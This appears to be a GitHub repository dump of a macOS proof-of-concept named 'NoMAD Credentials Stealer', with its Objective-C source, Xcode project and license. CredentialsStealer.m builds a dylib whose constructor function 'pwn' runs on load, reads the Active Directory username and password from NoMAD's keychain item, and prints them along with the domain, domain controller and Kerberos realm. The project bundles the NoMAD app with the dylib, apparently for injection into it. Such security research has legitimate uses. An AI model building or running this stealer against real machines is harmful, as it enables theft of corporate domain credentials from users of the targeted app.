├── .gitignore ├── LICENSE ├── NoMADCredentialsStealer ├── CredentialsStealer │ └── CredentialsStealer.m ├── NoMADCredentialsStealer.xcodeproj │ ├── project.pbxproj │ └── project.xcworkspace │ │ ├── contents.xcworkspacedata │ │ └── xcshareddata │ │ └── IDEWorkspaceChecks.plist └── NoMADCredentialsStealer │ ├── Executable │ └── NoMAD.app │ │ └── Contents │ │ ├── Frameworks │ │ ├── libswiftAppKit.dylib │ │ ├── libswiftCore.dylib │ │ ├── libswiftCoreData.dylib │ │ ├── libswiftCoreGraphics.dylib │ │ ├── libswiftCoreImage.dylib │ │ ├── libswiftDarwin.dylib │ │ ├── libswiftDispatch.dylib │ │ ├── libswiftFoundation.dylib │ │ ├── libswiftIOKit.dylib │ │ ├── libswiftObjectiveC.dylib │ │ ├── libswiftQuartzCore.dylib │ │ └── libswiftXPC.dylib │ │ ├── Info.plist │ │ ├── MacOS │ │ └── NoMAD │ │ ├── PkgInfo │ │ ├── Resources │ │ ├── AppIcon.icns │ │ ├── Assets.car │ │ ├── Base.lproj │ │ │ ├── InfoPlist.strings │ │ │ ├── Languages.plist │ │ │ ├── LoginWindow.nib │ │ │ ├── MainMenu.nib │ │ │ ├── PasswordChangeWindow.nib │ │ │ └── PreferencesWindow.nib │ │ ├── DefaultPreferences.plist │ │ ├── KeychainMinder.nib │ │ ├── da.lproj │ │ │ ├── InfoPlist.strings │ │ │ ├── Languages.plist │ │ │ ├── LoginWindow.strings │ │ │ ├── MainMenu.strings │ │ │ ├── PasswordChangeWindow.strings │ │ │ └── PreferencesWindow.strings │ │ ├── de.lproj │ │ │ ├── InfoPlist.strings │ │ │ ├── Languages.plist │ │ │ ├── LoginWindow.strings │ │ │ ├── MainMenu.strings │ │ │ ├── PasswordChangeWindow.strings │ │ │ └── PreferencesWindow.strings │ │ ├── en.lproj │ │ │ └── Languages.plist │ │ ├── es.lproj │ │ │ ├── InfoPlist.strings │ │ │ ├── Languages.plist │ │ │ ├── LoginWindow.strings │ │ │ ├── MainMenu.strings │ │ │ ├── PasswordChangeWindow.strings │ │ │ └── PreferencesWindow.strings │ │ ├── fr.lproj │ │ │ ├── InfoPlist.strings │ │ │ ├── Languages.plist │ │ │ ├── LoginWindow.strings │ │ │ ├── MainMenu.strings │ │ │ ├── PasswordChangeWindow.strings │ │ │ └── PreferencesWindow.strings │ │ ├── nl.lproj │ │ │ ├── InfoPlist.strings │ │ │ ├── Languages.plist │ │ │ ├── Localizable.strings │ │ │ ├── LoginWindow.strings │ │ │ ├── MainMenu.strings │ │ │ ├── PasswordChangeWindow.strings │ │ │ └── PreferencesWindow.strings │ │ ├── pl.lproj │ │ │ ├── InfoPlist.strings │ │ │ ├── Languages.plist │ │ │ ├── LoginWindow.strings │ │ │ ├── MainMenu.strings │ │ │ ├── PasswordChangeWindow.strings │ │ │ └── PreferencesWindow.strings │ │ └── sv.lproj │ │ │ ├── InfoPlist.strings │ │ │ ├── Languages.plist │ │ │ ├── LoginWindow.strings │ │ │ ├── MainMenu.strings │ │ │ ├── PasswordChangeWindow.strings │ │ │ └── PreferencesWindow.strings │ │ └── _CodeSignature │ │ └── CodeResources │ ├── Info.plist │ ├── NoMADCredentialsStealer.entitlements │ └── main.m └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | # Xcode 2 | # 3 | # gitignore contributors: remember to update Global/Xcode.gitignore, Objective-C.gitignore & Swift.gitignore 4 | 5 | ## User settings 6 | xcuserdata/ 7 | 8 | ## compatibility with Xcode 8 and earlier (ignoring not required starting Xcode 9) 9 | *.xcscmblueprint 10 | *.xccheckout 11 | 12 | ## compatibility with Xcode 3 and earlier (ignoring not required starting Xcode 4) 13 | build/ 14 | DerivedData/ 15 | *.moved-aside 16 | *.pbxuser 17 | !default.pbxuser 18 | *.mode1v3 19 | !default.mode1v3 20 | *.mode2v3 21 | !default.mode2v3 22 | *.perspectivev3 23 | !default.perspectivev3 24 | 25 | ## Obj-C/Swift specific 26 | *.hmap 27 | 28 | ## App packaging 29 | *.ipa 30 | *.dSYM.zip 31 | *.dSYM 32 | 33 | # CocoaPods 34 | # 35 | # We recommend against adding the Pods directory to your .gitignore. However 36 | # you should judge for yourself, the pros and cons are mentioned at: 37 | # https://guides.cocoapods.org/using/using-cocoapods.html#should-i-check-the-pods-directory-into-source-control 38 | # 39 | # Pods/ 40 | # 41 | # Add this line if you want to avoid checking in source code from the Xcode workspace 42 | # *.xcworkspace 43 | 44 | # Carthage 45 | # 46 | # Add this line if you want to avoid checking in source code from Carthage dependencies. 47 | # Carthage/Checkouts 48 | 49 | Carthage/Build/ 50 | 51 | # fastlane 52 | # 53 | # It is recommended to not store the screenshots in the git repo. 54 | # Instead, use fastlane to re-generate the screenshots whenever they are needed. 55 | # For more information about the recommended setup visit: 56 | # https://docs.fastlane.tools/best-practices/source-control/#source-control 57 | 58 | fastlane/report.xml 59 | fastlane/Preview.html 60 | fastlane/screenshots/**/*.png 61 | fastlane/test_output 62 | 63 | # Code Injection 64 | # 65 | # After new code Injection tools there's a generated folder /iOSInjectionProject 66 | # https://github.com/johnno1962/injectionforxcode 67 | 68 | iOSInjectionProject/ 69 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Wojciech Reguła 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/CredentialsStealer/CredentialsStealer.m: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | #if __has_feature(objc_arc) 4 | #define DLog(format, ...) CFShow((__bridge CFStringRef)[NSString stringWithFormat:format, ## __VA_ARGS__]); 5 | #else 6 | #define DLog(format, ...) CFShow([NSString stringWithFormat:format, ## __VA_ARGS__]); 7 | #endif 8 | 9 | void get_login(void); 10 | void get_password(void); 11 | void get_config(void); 12 | void logo(void); 13 | 14 | void get_login() { 15 | OSStatus res; 16 | CFTypeRef configurationRef; 17 | 18 | CFStringRef keyLabel = CFStringCreateWithCString (NULL, "NoMAD", kCFStringEncodingUTF8); 19 | CFMutableDictionaryRef attrDict = CFDictionaryCreateMutable(NULL, 5, &kCFTypeDictionaryKeyCallBacks, NULL); 20 | CFDictionaryAddValue(attrDict, kSecAttrLabel, keyLabel); 21 | CFDictionaryAddValue(attrDict, kSecClass, kSecClassGenericPassword); 22 | CFDictionaryAddValue(attrDict, kSecReturnAttributes, kCFBooleanTrue); 23 | 24 | res = SecItemCopyMatching(attrDict, (CFTypeRef*)&configurationRef); 25 | 26 | NSDictionary *attrs = (__bridge_transfer NSDictionary *)configurationRef; 27 | DLog(@"+> AD login -> %@", [attrs objectForKey:@"acct"]); 28 | } 29 | 30 | void get_password() { 31 | OSStatus res; 32 | CFTypeRef configurationRef; 33 | 34 | CFStringRef keyLabel = CFStringCreateWithCString (NULL, "NoMAD", kCFStringEncodingUTF8); 35 | 36 | CFMutableDictionaryRef attrDict = CFDictionaryCreateMutable(NULL, 5, &kCFTypeDictionaryKeyCallBacks, NULL); 37 | CFDictionaryAddValue(attrDict, kSecAttrLabel, keyLabel); 38 | CFDictionaryAddValue(attrDict, kSecClass, kSecClassGenericPassword); 39 | CFDictionaryAddValue(attrDict, kSecReturnData, kCFBooleanTrue); 40 | 41 | res = SecItemCopyMatching(attrDict, (CFTypeRef*)&configurationRef); 42 | NSData *resultData = (__bridge_transfer NSData *)configurationRef; 43 | 44 | NSString *configuration = nil; 45 | configuration = [[NSString alloc] initWithData: resultData encoding: NSUTF8StringEncoding]; 46 | 47 | DLog(@"+> AD password -> %@", configuration); 48 | } 49 | 50 | void get_config() { 51 | NSString *defaultsPath = [@"~/Library/Preferences/com.trusourcelabs.NoMAD.plist" stringByExpandingTildeInPath]; 52 | NSDictionary *defaults = [NSDictionary dictionaryWithContentsOfFile:defaultsPath]; 53 | DLog(@"+> Domain -> %@", defaults[@"ADDomain"]); 54 | DLog(@"+> Domain controller -> %@", defaults[@"ADDomainController"]); 55 | DLog(@"+> Kerberos realm -> %@", defaults[@"KerberosRealm"]); 56 | } 57 | 58 | void logo() { 59 | DLog(@""); 60 | DLog(@"+-------------------------------+"); 61 | DLog(@"+ NoMAD Credentials Stealer +"); 62 | DLog(@"+ by Wojciech Regula (_r3ggi) +") 63 | DLog(@"+-------------------------------+"); 64 | } 65 | 66 | __attribute__((constructor)) static void pwn() { 67 | 68 | logo(); 69 | get_config(); 70 | get_login(); 71 | get_password(); 72 | exit(0); 73 | 74 | } 75 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer.xcodeproj/project.pbxproj: -------------------------------------------------------------------------------- 1 | // !$*UTF8*$! 2 | { 3 | archiveVersion = 1; 4 | classes = { 5 | }; 6 | objectVersion = 50; 7 | objects = { 8 | 9 | /* Begin PBXBuildFile section */ 10 | 70859F4024C5C27C00345FD1 /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 70859F3F24C5C27C00345FD1 /* main.m */; }; 11 | 70859F6524C5C2D900345FD1 /* NoMAD.app in Resources */ = {isa = PBXBuildFile; fileRef = 70859F6424C5C2D900345FD1 /* NoMAD.app */; }; 12 | 70859F6F24C5C73E00345FD1 /* CredentialsStealer.m in Sources */ = {isa = PBXBuildFile; fileRef = 70859F6E24C5C73E00345FD1 /* CredentialsStealer.m */; }; 13 | 70859F7724C5CFAA00345FD1 /* libCredentialsStealer.dylib in Resources */ = {isa = PBXBuildFile; fileRef = 70859F6A24C5C73E00345FD1 /* libCredentialsStealer.dylib */; }; 14 | /* End PBXBuildFile section */ 15 | 16 | /* Begin PBXContainerItemProxy section */ 17 | 70859F7524C5CF9900345FD1 /* PBXContainerItemProxy */ = { 18 | isa = PBXContainerItemProxy; 19 | containerPortal = 70859F2B24C5C27B00345FD1 /* Project object */; 20 | proxyType = 1; 21 | remoteGlobalIDString = 70859F6924C5C73E00345FD1; 22 | remoteInfo = CredentialsStealer; 23 | }; 24 | /* End PBXContainerItemProxy section */ 25 | 26 | /* Begin PBXFileReference section */ 27 | 70859F3324C5C27B00345FD1 /* NoMADCredentialsStealer.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = NoMADCredentialsStealer.app; sourceTree = BUILT_PRODUCTS_DIR; }; 28 | 70859F3E24C5C27C00345FD1 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; 29 | 70859F3F24C5C27C00345FD1 /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; }; 30 | 70859F4124C5C27C00345FD1 /* NoMADCredentialsStealer.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = NoMADCredentialsStealer.entitlements; sourceTree = ""; }; 31 | 70859F6424C5C2D900345FD1 /* NoMAD.app */ = {isa = PBXFileReference; lastKnownFileType = wrapper.application; path = NoMAD.app; sourceTree = ""; }; 32 | 70859F6A24C5C73E00345FD1 /* libCredentialsStealer.dylib */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.dylib"; includeInIndex = 0; path = libCredentialsStealer.dylib; sourceTree = BUILT_PRODUCTS_DIR; }; 33 | 70859F6E24C5C73E00345FD1 /* CredentialsStealer.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = CredentialsStealer.m; sourceTree = ""; }; 34 | /* End PBXFileReference section */ 35 | 36 | /* Begin PBXFrameworksBuildPhase section */ 37 | 70859F3024C5C27B00345FD1 /* Frameworks */ = { 38 | isa = PBXFrameworksBuildPhase; 39 | buildActionMask = 2147483647; 40 | files = ( 41 | ); 42 | runOnlyForDeploymentPostprocessing = 0; 43 | }; 44 | 70859F6824C5C73E00345FD1 /* Frameworks */ = { 45 | isa = PBXFrameworksBuildPhase; 46 | buildActionMask = 2147483647; 47 | files = ( 48 | ); 49 | runOnlyForDeploymentPostprocessing = 0; 50 | }; 51 | /* End PBXFrameworksBuildPhase section */ 52 | 53 | /* Begin PBXGroup section */ 54 | 70859F2A24C5C27B00345FD1 = { 55 | isa = PBXGroup; 56 | children = ( 57 | 70859F3524C5C27B00345FD1 /* NoMADCredentialsStealer */, 58 | 70859F6B24C5C73E00345FD1 /* CredentialsStealer */, 59 | 70859F3424C5C27B00345FD1 /* Products */, 60 | ); 61 | sourceTree = ""; 62 | }; 63 | 70859F3424C5C27B00345FD1 /* Products */ = { 64 | isa = PBXGroup; 65 | children = ( 66 | 70859F3324C5C27B00345FD1 /* NoMADCredentialsStealer.app */, 67 | 70859F6A24C5C73E00345FD1 /* libCredentialsStealer.dylib */, 68 | ); 69 | name = Products; 70 | sourceTree = ""; 71 | }; 72 | 70859F3524C5C27B00345FD1 /* NoMADCredentialsStealer */ = { 73 | isa = PBXGroup; 74 | children = ( 75 | 70859F6324C5C2CF00345FD1 /* Executable */, 76 | 70859F3E24C5C27C00345FD1 /* Info.plist */, 77 | 70859F3F24C5C27C00345FD1 /* main.m */, 78 | 70859F4124C5C27C00345FD1 /* NoMADCredentialsStealer.entitlements */, 79 | ); 80 | path = NoMADCredentialsStealer; 81 | sourceTree = ""; 82 | }; 83 | 70859F6324C5C2CF00345FD1 /* Executable */ = { 84 | isa = PBXGroup; 85 | children = ( 86 | 70859F6424C5C2D900345FD1 /* NoMAD.app */, 87 | ); 88 | path = Executable; 89 | sourceTree = ""; 90 | }; 91 | 70859F6B24C5C73E00345FD1 /* CredentialsStealer */ = { 92 | isa = PBXGroup; 93 | children = ( 94 | 70859F6E24C5C73E00345FD1 /* CredentialsStealer.m */, 95 | ); 96 | path = CredentialsStealer; 97 | sourceTree = ""; 98 | }; 99 | /* End PBXGroup section */ 100 | 101 | /* Begin PBXHeadersBuildPhase section */ 102 | 70859F6624C5C73E00345FD1 /* Headers */ = { 103 | isa = PBXHeadersBuildPhase; 104 | buildActionMask = 2147483647; 105 | files = ( 106 | ); 107 | runOnlyForDeploymentPostprocessing = 0; 108 | }; 109 | /* End PBXHeadersBuildPhase section */ 110 | 111 | /* Begin PBXNativeTarget section */ 112 | 70859F3224C5C27B00345FD1 /* NoMADCredentialsStealer */ = { 113 | isa = PBXNativeTarget; 114 | buildConfigurationList = 70859F5A24C5C27D00345FD1 /* Build configuration list for PBXNativeTarget "NoMADCredentialsStealer" */; 115 | buildPhases = ( 116 | 70859F2F24C5C27B00345FD1 /* Sources */, 117 | 70859F3024C5C27B00345FD1 /* Frameworks */, 118 | 70859F3124C5C27B00345FD1 /* Resources */, 119 | ); 120 | buildRules = ( 121 | ); 122 | dependencies = ( 123 | 70859F7624C5CF9900345FD1 /* PBXTargetDependency */, 124 | ); 125 | name = NoMADCredentialsStealer; 126 | productName = NoMADCredentialsStealer; 127 | productReference = 70859F3324C5C27B00345FD1 /* NoMADCredentialsStealer.app */; 128 | productType = "com.apple.product-type.application"; 129 | }; 130 | 70859F6924C5C73E00345FD1 /* CredentialsStealer */ = { 131 | isa = PBXNativeTarget; 132 | buildConfigurationList = 70859F7024C5C73E00345FD1 /* Build configuration list for PBXNativeTarget "CredentialsStealer" */; 133 | buildPhases = ( 134 | 70859F6624C5C73E00345FD1 /* Headers */, 135 | 70859F6724C5C73E00345FD1 /* Sources */, 136 | 70859F6824C5C73E00345FD1 /* Frameworks */, 137 | ); 138 | buildRules = ( 139 | ); 140 | dependencies = ( 141 | ); 142 | name = CredentialsStealer; 143 | productName = CredentialsStealer; 144 | productReference = 70859F6A24C5C73E00345FD1 /* libCredentialsStealer.dylib */; 145 | productType = "com.apple.product-type.library.dynamic"; 146 | }; 147 | /* End PBXNativeTarget section */ 148 | 149 | /* Begin PBXProject section */ 150 | 70859F2B24C5C27B00345FD1 /* Project object */ = { 151 | isa = PBXProject; 152 | attributes = { 153 | LastUpgradeCheck = 1160; 154 | ORGANIZATIONNAME = "Wojciech Reguła"; 155 | TargetAttributes = { 156 | 70859F3224C5C27B00345FD1 = { 157 | CreatedOnToolsVersion = 11.6; 158 | }; 159 | 70859F6924C5C73E00345FD1 = { 160 | CreatedOnToolsVersion = 11.6; 161 | }; 162 | }; 163 | }; 164 | buildConfigurationList = 70859F2E24C5C27B00345FD1 /* Build configuration list for PBXProject "NoMADCredentialsStealer" */; 165 | compatibilityVersion = "Xcode 9.3"; 166 | developmentRegion = en; 167 | hasScannedForEncodings = 0; 168 | knownRegions = ( 169 | en, 170 | Base, 171 | ); 172 | mainGroup = 70859F2A24C5C27B00345FD1; 173 | productRefGroup = 70859F3424C5C27B00345FD1 /* Products */; 174 | projectDirPath = ""; 175 | projectRoot = ""; 176 | targets = ( 177 | 70859F3224C5C27B00345FD1 /* NoMADCredentialsStealer */, 178 | 70859F6924C5C73E00345FD1 /* CredentialsStealer */, 179 | ); 180 | }; 181 | /* End PBXProject section */ 182 | 183 | /* Begin PBXResourcesBuildPhase section */ 184 | 70859F3124C5C27B00345FD1 /* Resources */ = { 185 | isa = PBXResourcesBuildPhase; 186 | buildActionMask = 2147483647; 187 | files = ( 188 | 70859F7724C5CFAA00345FD1 /* libCredentialsStealer.dylib in Resources */, 189 | 70859F6524C5C2D900345FD1 /* NoMAD.app in Resources */, 190 | ); 191 | runOnlyForDeploymentPostprocessing = 0; 192 | }; 193 | /* End PBXResourcesBuildPhase section */ 194 | 195 | /* Begin PBXSourcesBuildPhase section */ 196 | 70859F2F24C5C27B00345FD1 /* Sources */ = { 197 | isa = PBXSourcesBuildPhase; 198 | buildActionMask = 2147483647; 199 | files = ( 200 | 70859F4024C5C27C00345FD1 /* main.m in Sources */, 201 | ); 202 | runOnlyForDeploymentPostprocessing = 0; 203 | }; 204 | 70859F6724C5C73E00345FD1 /* Sources */ = { 205 | isa = PBXSourcesBuildPhase; 206 | buildActionMask = 2147483647; 207 | files = ( 208 | 70859F6F24C5C73E00345FD1 /* CredentialsStealer.m in Sources */, 209 | ); 210 | runOnlyForDeploymentPostprocessing = 0; 211 | }; 212 | /* End PBXSourcesBuildPhase section */ 213 | 214 | /* Begin PBXTargetDependency section */ 215 | 70859F7624C5CF9900345FD1 /* PBXTargetDependency */ = { 216 | isa = PBXTargetDependency; 217 | target = 70859F6924C5C73E00345FD1 /* CredentialsStealer */; 218 | targetProxy = 70859F7524C5CF9900345FD1 /* PBXContainerItemProxy */; 219 | }; 220 | /* End PBXTargetDependency section */ 221 | 222 | /* Begin XCBuildConfiguration section */ 223 | 70859F5824C5C27D00345FD1 /* Debug */ = { 224 | isa = XCBuildConfiguration; 225 | buildSettings = { 226 | ALWAYS_SEARCH_USER_PATHS = NO; 227 | CLANG_ANALYZER_NONNULL = YES; 228 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 229 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; 230 | CLANG_CXX_LIBRARY = "libc++"; 231 | CLANG_ENABLE_MODULES = YES; 232 | CLANG_ENABLE_OBJC_ARC = YES; 233 | CLANG_ENABLE_OBJC_WEAK = YES; 234 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 235 | CLANG_WARN_BOOL_CONVERSION = YES; 236 | CLANG_WARN_COMMA = YES; 237 | CLANG_WARN_CONSTANT_CONVERSION = YES; 238 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 239 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 240 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 241 | CLANG_WARN_EMPTY_BODY = YES; 242 | CLANG_WARN_ENUM_CONVERSION = YES; 243 | CLANG_WARN_INFINITE_RECURSION = YES; 244 | CLANG_WARN_INT_CONVERSION = YES; 245 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 246 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 247 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 248 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 249 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 250 | CLANG_WARN_STRICT_PROTOTYPES = YES; 251 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 252 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 253 | CLANG_WARN_UNREACHABLE_CODE = YES; 254 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 255 | COPY_PHASE_STRIP = NO; 256 | DEBUG_INFORMATION_FORMAT = dwarf; 257 | ENABLE_STRICT_OBJC_MSGSEND = YES; 258 | ENABLE_TESTABILITY = YES; 259 | GCC_C_LANGUAGE_STANDARD = gnu11; 260 | GCC_DYNAMIC_NO_PIC = NO; 261 | GCC_NO_COMMON_BLOCKS = YES; 262 | GCC_OPTIMIZATION_LEVEL = 0; 263 | GCC_PREPROCESSOR_DEFINITIONS = ( 264 | "DEBUG=1", 265 | "$(inherited)", 266 | ); 267 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 268 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 269 | GCC_WARN_UNDECLARED_SELECTOR = YES; 270 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 271 | GCC_WARN_UNUSED_FUNCTION = YES; 272 | GCC_WARN_UNUSED_VARIABLE = YES; 273 | MACOSX_DEPLOYMENT_TARGET = 10.15; 274 | MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; 275 | MTL_FAST_MATH = YES; 276 | ONLY_ACTIVE_ARCH = YES; 277 | SDKROOT = macosx; 278 | }; 279 | name = Debug; 280 | }; 281 | 70859F5924C5C27D00345FD1 /* Release */ = { 282 | isa = XCBuildConfiguration; 283 | buildSettings = { 284 | ALWAYS_SEARCH_USER_PATHS = NO; 285 | CLANG_ANALYZER_NONNULL = YES; 286 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 287 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; 288 | CLANG_CXX_LIBRARY = "libc++"; 289 | CLANG_ENABLE_MODULES = YES; 290 | CLANG_ENABLE_OBJC_ARC = YES; 291 | CLANG_ENABLE_OBJC_WEAK = YES; 292 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 293 | CLANG_WARN_BOOL_CONVERSION = YES; 294 | CLANG_WARN_COMMA = YES; 295 | CLANG_WARN_CONSTANT_CONVERSION = YES; 296 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 297 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 298 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 299 | CLANG_WARN_EMPTY_BODY = YES; 300 | CLANG_WARN_ENUM_CONVERSION = YES; 301 | CLANG_WARN_INFINITE_RECURSION = YES; 302 | CLANG_WARN_INT_CONVERSION = YES; 303 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 304 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 305 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 306 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 307 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 308 | CLANG_WARN_STRICT_PROTOTYPES = YES; 309 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 310 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 311 | CLANG_WARN_UNREACHABLE_CODE = YES; 312 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 313 | COPY_PHASE_STRIP = NO; 314 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 315 | ENABLE_NS_ASSERTIONS = NO; 316 | ENABLE_STRICT_OBJC_MSGSEND = YES; 317 | GCC_C_LANGUAGE_STANDARD = gnu11; 318 | GCC_NO_COMMON_BLOCKS = YES; 319 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 320 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 321 | GCC_WARN_UNDECLARED_SELECTOR = YES; 322 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 323 | GCC_WARN_UNUSED_FUNCTION = YES; 324 | GCC_WARN_UNUSED_VARIABLE = YES; 325 | MACOSX_DEPLOYMENT_TARGET = 10.15; 326 | MTL_ENABLE_DEBUG_INFO = NO; 327 | MTL_FAST_MATH = YES; 328 | SDKROOT = macosx; 329 | }; 330 | name = Release; 331 | }; 332 | 70859F5B24C5C27D00345FD1 /* Debug */ = { 333 | isa = XCBuildConfiguration; 334 | buildSettings = { 335 | CODE_SIGN_ENTITLEMENTS = NoMADCredentialsStealer/NoMADCredentialsStealer.entitlements; 336 | CODE_SIGN_STYLE = Manual; 337 | COMBINE_HIDPI_IMAGES = YES; 338 | DEVELOPMENT_TEAM = ""; 339 | INFOPLIST_FILE = NoMADCredentialsStealer/Info.plist; 340 | LD_RUNPATH_SEARCH_PATHS = ( 341 | "$(inherited)", 342 | "@executable_path/../Frameworks", 343 | ); 344 | PRODUCT_BUNDLE_IDENTIFIER = biz.securing.NoMADCredentialsStealer; 345 | PRODUCT_NAME = "$(TARGET_NAME)"; 346 | PROVISIONING_PROFILE_SPECIFIER = ""; 347 | }; 348 | name = Debug; 349 | }; 350 | 70859F5C24C5C27D00345FD1 /* Release */ = { 351 | isa = XCBuildConfiguration; 352 | buildSettings = { 353 | CODE_SIGN_ENTITLEMENTS = NoMADCredentialsStealer/NoMADCredentialsStealer.entitlements; 354 | CODE_SIGN_STYLE = Manual; 355 | COMBINE_HIDPI_IMAGES = YES; 356 | DEVELOPMENT_TEAM = ""; 357 | INFOPLIST_FILE = NoMADCredentialsStealer/Info.plist; 358 | LD_RUNPATH_SEARCH_PATHS = ( 359 | "$(inherited)", 360 | "@executable_path/../Frameworks", 361 | ); 362 | PRODUCT_BUNDLE_IDENTIFIER = biz.securing.NoMADCredentialsStealer; 363 | PRODUCT_NAME = "$(TARGET_NAME)"; 364 | PROVISIONING_PROFILE_SPECIFIER = ""; 365 | }; 366 | name = Release; 367 | }; 368 | 70859F7124C5C73E00345FD1 /* Debug */ = { 369 | isa = XCBuildConfiguration; 370 | buildSettings = { 371 | CODE_SIGN_STYLE = Automatic; 372 | DYLIB_COMPATIBILITY_VERSION = 1; 373 | DYLIB_CURRENT_VERSION = 1; 374 | EXECUTABLE_PREFIX = lib; 375 | PRODUCT_NAME = "$(TARGET_NAME)"; 376 | SKIP_INSTALL = YES; 377 | }; 378 | name = Debug; 379 | }; 380 | 70859F7224C5C73E00345FD1 /* Release */ = { 381 | isa = XCBuildConfiguration; 382 | buildSettings = { 383 | CODE_SIGN_STYLE = Automatic; 384 | DYLIB_COMPATIBILITY_VERSION = 1; 385 | DYLIB_CURRENT_VERSION = 1; 386 | EXECUTABLE_PREFIX = lib; 387 | PRODUCT_NAME = "$(TARGET_NAME)"; 388 | SKIP_INSTALL = YES; 389 | }; 390 | name = Release; 391 | }; 392 | /* End XCBuildConfiguration section */ 393 | 394 | /* Begin XCConfigurationList section */ 395 | 70859F2E24C5C27B00345FD1 /* Build configuration list for PBXProject "NoMADCredentialsStealer" */ = { 396 | isa = XCConfigurationList; 397 | buildConfigurations = ( 398 | 70859F5824C5C27D00345FD1 /* Debug */, 399 | 70859F5924C5C27D00345FD1 /* Release */, 400 | ); 401 | defaultConfigurationIsVisible = 0; 402 | defaultConfigurationName = Release; 403 | }; 404 | 70859F5A24C5C27D00345FD1 /* Build configuration list for PBXNativeTarget "NoMADCredentialsStealer" */ = { 405 | isa = XCConfigurationList; 406 | buildConfigurations = ( 407 | 70859F5B24C5C27D00345FD1 /* Debug */, 408 | 70859F5C24C5C27D00345FD1 /* Release */, 409 | ); 410 | defaultConfigurationIsVisible = 0; 411 | defaultConfigurationName = Release; 412 | }; 413 | 70859F7024C5C73E00345FD1 /* Build configuration list for PBXNativeTarget "CredentialsStealer" */ = { 414 | isa = XCConfigurationList; 415 | buildConfigurations = ( 416 | 70859F7124C5C73E00345FD1 /* Debug */, 417 | 70859F7224C5C73E00345FD1 /* Release */, 418 | ); 419 | defaultConfigurationIsVisible = 0; 420 | defaultConfigurationName = Release; 421 | }; 422 | /* End XCConfigurationList section */ 423 | }; 424 | rootObject = 70859F2B24C5C27B00345FD1 /* Project object */; 425 | } 426 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 